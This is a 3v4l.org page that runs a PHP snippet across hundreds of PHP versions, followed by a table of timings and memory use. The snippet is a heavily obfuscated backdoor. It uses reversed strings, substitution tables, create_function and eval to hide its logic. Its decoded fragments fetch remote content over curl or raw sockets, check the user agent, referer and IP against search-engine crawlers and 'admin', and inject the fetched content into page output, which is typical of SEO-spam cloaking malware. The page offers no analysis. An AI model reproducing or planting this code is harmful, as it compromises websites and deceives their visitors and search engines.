3v4l.org

run code in 300+ PHP versions simultaneously
<?php $siv = "str_replace"; $slv = "strrev"; $s1v ="create_function"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); //$lastest = preg_replace("/(.*)/e", eval(str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99))); echo preg_replace("|^(.*)$|e", eval(str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99)),NULL);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00316.88
8.3.50.0110.00716.28
8.3.40.0120.00418.92
8.3.30.0070.00718.70
8.3.20.0040.00420.29
8.3.10.0040.00421.89
8.3.00.0050.00519.56
8.2.180.0130.01016.63
8.2.170.0000.01422.96
8.2.160.0110.01120.38
8.2.150.0000.00824.18
8.2.140.0110.00324.66
8.2.130.0090.00026.16
8.2.120.0030.00617.75
8.2.110.0080.00322.02
8.2.100.0040.00817.75
8.2.90.0060.00319.09
8.2.80.0040.00417.97
8.2.70.0060.00317.63
8.2.60.0040.00818.04
8.2.50.0040.00418.07
8.2.40.0030.00619.21
8.2.30.0050.00519.89
8.2.20.0000.00917.70
8.2.10.0050.00318.25
8.2.00.0080.00018.10
8.1.280.0100.00725.92
8.1.270.0070.01420.50
8.1.260.0000.00826.35
8.1.250.0060.00328.09
8.1.240.0060.00321.31
8.1.230.0070.00317.83
8.1.220.0040.00417.74
8.1.210.0050.00318.77
8.1.200.0030.00617.48
8.1.190.0090.00317.25
8.1.180.0000.00818.10
8.1.170.0030.00518.67
8.1.160.0080.00022.09
8.1.150.0030.00618.96
8.1.140.0030.00617.57
8.1.130.0080.00017.78
8.1.120.0000.00717.54
8.1.110.0040.00717.44
8.1.100.0000.00717.42
8.1.90.0040.00417.55
8.1.80.0040.00417.52
8.1.70.0030.00317.38
8.1.60.0040.00417.61
8.1.50.0000.00817.63
8.1.40.0050.00317.48
8.1.30.0060.00317.76
8.1.20.0000.00817.72
8.1.10.0080.00017.67
8.1.00.0040.00417.55
8.0.300.0000.00718.77
8.0.290.0040.00416.88
8.0.280.0000.00718.54
8.0.270.0070.00017.33
8.0.260.0070.00017.27
8.0.250.0000.00717.03
8.0.240.0030.00317.04
8.0.230.0060.00616.88
8.0.220.0000.00717.01
8.0.210.0030.00516.93
8.0.200.0030.00317.07
8.0.190.0000.01017.05
8.0.180.0040.00416.99
8.0.170.0030.00517.01
8.0.160.0000.00716.95
8.0.150.0050.00317.03
8.0.140.0070.00016.99
8.0.130.0030.00313.47
8.0.120.0040.00417.00
8.0.110.0000.00717.04
8.0.100.0080.00016.86
8.0.90.0040.00416.93
8.0.80.0090.00617.10
8.0.70.0050.00217.06
8.0.60.0060.00317.03
8.0.50.0020.00516.97
8.0.30.0130.00617.17
8.0.20.0140.01317.40
8.0.10.0000.00717.03
8.0.00.0070.01116.81
7.4.330.0030.00315.13
7.4.320.0030.00316.86
7.4.300.0040.00416.88
7.4.290.0040.00417.05
7.4.280.0030.00616.96
7.4.270.0000.00716.85
7.4.260.0020.00516.96
7.4.250.0040.00416.91
7.4.240.0060.00316.91
7.4.230.0070.00016.84
7.4.220.0060.01416.73
7.4.210.0110.00417.04
7.4.200.0000.00717.13
7.4.160.0070.01016.79
7.4.150.0100.01017.40
7.4.140.0150.00617.86
7.4.130.0050.01816.92
7.4.120.0070.01116.87
7.4.110.0100.01016.81
7.4.100.0080.01516.86
7.4.90.0120.00616.82
7.4.80.0040.01519.39
7.4.70.0060.01216.91
7.4.60.0130.00917.05
7.4.50.0040.00416.84
7.4.40.0100.01416.81
7.4.30.0130.00616.99
7.4.00.0080.00915.23
7.3.330.0030.00313.69
7.3.320.0000.00613.69
7.3.310.0050.00316.77
7.3.300.0080.00016.60
7.3.290.0100.00916.74
7.3.280.0090.01016.71
7.3.270.0080.01217.40
7.3.260.0060.01616.75
7.3.250.0130.00616.71
7.3.240.0090.00916.81
7.3.230.0130.00716.74
7.3.210.0030.01516.69
7.3.200.0060.01216.68
7.3.190.0060.01616.77
7.3.180.0100.00616.94
7.3.170.0110.00616.91
7.3.160.0110.00816.91
7.3.120.0100.01015.46
7.3.110.0040.01514.91
7.3.100.0040.01115.24
7.3.90.0060.01014.95
7.3.80.0070.01015.18
7.3.70.0040.01215.29
7.3.60.0000.01915.31
7.3.50.0100.01014.91
7.3.40.0120.00315.11
7.3.30.0130.00315.26
7.3.20.0030.01316.85
7.3.10.0070.01116.87
7.3.00.0060.00917.05
7.2.330.0100.01416.90
7.2.320.0100.01317.06
7.2.310.0090.01317.02
7.2.300.0120.00617.00
7.2.290.0150.00616.94
7.2.250.0100.01015.41
7.2.240.0150.00315.31
7.2.230.0100.00615.49
7.2.220.0030.01015.42
7.2.210.0100.00715.50
7.2.200.0040.01115.58
7.2.190.0100.01015.42
7.2.180.0140.00415.41
7.2.170.0080.00415.54
7.2.60.0030.01317.20
7.2.00.0110.01119.47
7.1.330.0040.01115.85
7.1.320.0060.00316.00
7.1.310.0080.00416.06
7.1.300.0090.00316.13
7.1.290.0030.01015.95
7.1.280.0070.00715.94
7.1.270.0040.01115.96
7.1.260.0030.01016.12
7.1.200.0060.00915.93
7.1.100.0060.00618.37
7.1.70.0000.00917.02
7.1.60.0000.02019.27
7.1.50.0060.01817.14
7.1.00.0030.07022.36
7.0.200.0070.00316.79
7.0.100.0070.05320.16
7.0.90.0130.05320.05
7.0.80.0230.08720.01
7.0.70.0130.08020.10
7.0.60.0200.08020.03
7.0.50.0100.08720.39
7.0.40.0000.05720.14
7.0.30.0200.07020.15
7.0.20.0170.07720.14
7.0.10.0030.08020.06
7.0.00.0130.07320.05
5.6.280.0030.04021.15
5.6.250.0100.07020.83
5.6.240.0070.08020.73
5.6.230.0070.08020.58
5.6.220.0170.07720.82
5.6.210.0130.07020.84
5.6.200.0100.07721.06
5.6.190.0300.06721.11
5.6.180.0100.08721.02
5.6.170.0070.08321.16
5.6.160.0100.08321.12
5.6.150.0070.08021.19
5.6.140.0070.08721.13
5.6.130.0100.07321.14
5.6.120.0070.03721.04
5.6.110.0100.06721.18
5.6.100.0070.08021.11
5.6.90.0030.08720.99
5.6.80.0170.08020.42
5.6.70.0030.08720.51
5.6.60.0170.07320.50
5.6.50.0100.08020.57
5.6.40.0170.07720.46
5.6.30.0170.07320.45
5.6.20.0030.08720.49
5.6.10.0070.08320.48
5.6.00.0030.08720.45
5.5.380.0100.07320.42
5.5.370.0000.07320.62
5.5.360.0030.09320.44
5.5.350.0100.07720.55
5.5.340.0070.08020.99
5.5.330.0130.07320.93
5.5.320.0070.08321.01
5.5.310.0070.07720.96
5.5.300.0030.04020.93
5.5.290.0130.08020.96
5.5.280.0030.09320.95
5.5.270.0100.07020.96
5.5.260.0000.09320.88
5.5.250.0070.08320.65
5.5.240.0000.08020.25
5.5.230.0200.06720.19
5.5.220.0130.07320.37
5.5.210.0030.09020.19
5.5.200.0100.08320.30
5.5.190.0170.06320.08
5.5.180.0100.07320.34
5.5.160.0100.07320.34
5.5.150.0100.07320.27
5.5.140.0100.07020.18
5.5.130.0070.07720.22
5.5.120.0070.07020.16
5.5.110.0030.08020.25
5.5.100.0100.08020.14
5.5.90.0000.05020.23
5.5.80.0070.08020.20
5.5.70.0130.07720.11
5.5.60.0100.07720.27
5.5.50.0070.07320.12
5.5.40.0070.06720.14
5.5.30.0070.04720.23
5.5.20.0030.08720.02
5.5.10.0070.07320.10
5.5.00.0170.07320.05
5.4.450.0070.03719.51
5.4.440.0100.08019.53
5.4.430.0130.07319.46
5.4.420.0100.07319.19
5.4.410.0070.07319.26
5.4.400.0100.07019.06
5.4.390.0100.07318.91
5.4.380.0100.07319.14
5.4.370.0070.07719.21
5.4.360.0070.04319.17
5.4.350.0170.06718.93
5.4.340.0030.05319.07
5.4.320.0200.06719.12
5.4.310.0130.06719.04
5.4.300.0100.07019.25
5.4.290.0130.05019.04
5.4.280.0100.04719.20
5.4.270.0030.05019.06
5.4.260.0030.08019.14
5.4.250.0070.08019.07
5.4.240.0100.05019.25
5.4.230.0000.08319.13
5.4.220.0100.07718.96
5.4.210.0070.05718.86
5.4.200.0100.06719.22
5.4.190.0170.07018.88
5.4.180.0100.04019.24
5.4.170.0030.07719.17
5.4.160.0130.03719.16
5.4.150.0000.07019.02
5.4.140.0000.06316.49
5.4.130.0070.07316.50
5.4.120.0070.07716.49
5.4.110.0100.06016.59
5.4.100.0070.07316.39
5.4.90.0070.07716.55
5.4.80.0070.06016.46
5.4.70.0070.04316.57
5.4.60.0100.07016.48
5.4.50.0100.06716.32
5.4.40.0070.07716.39
5.4.30.0130.05316.55
5.4.20.0170.06316.43
5.4.10.0100.08016.56
5.4.00.0130.06715.93

preferences:
40.68 ms | 400 KiB | 5 Q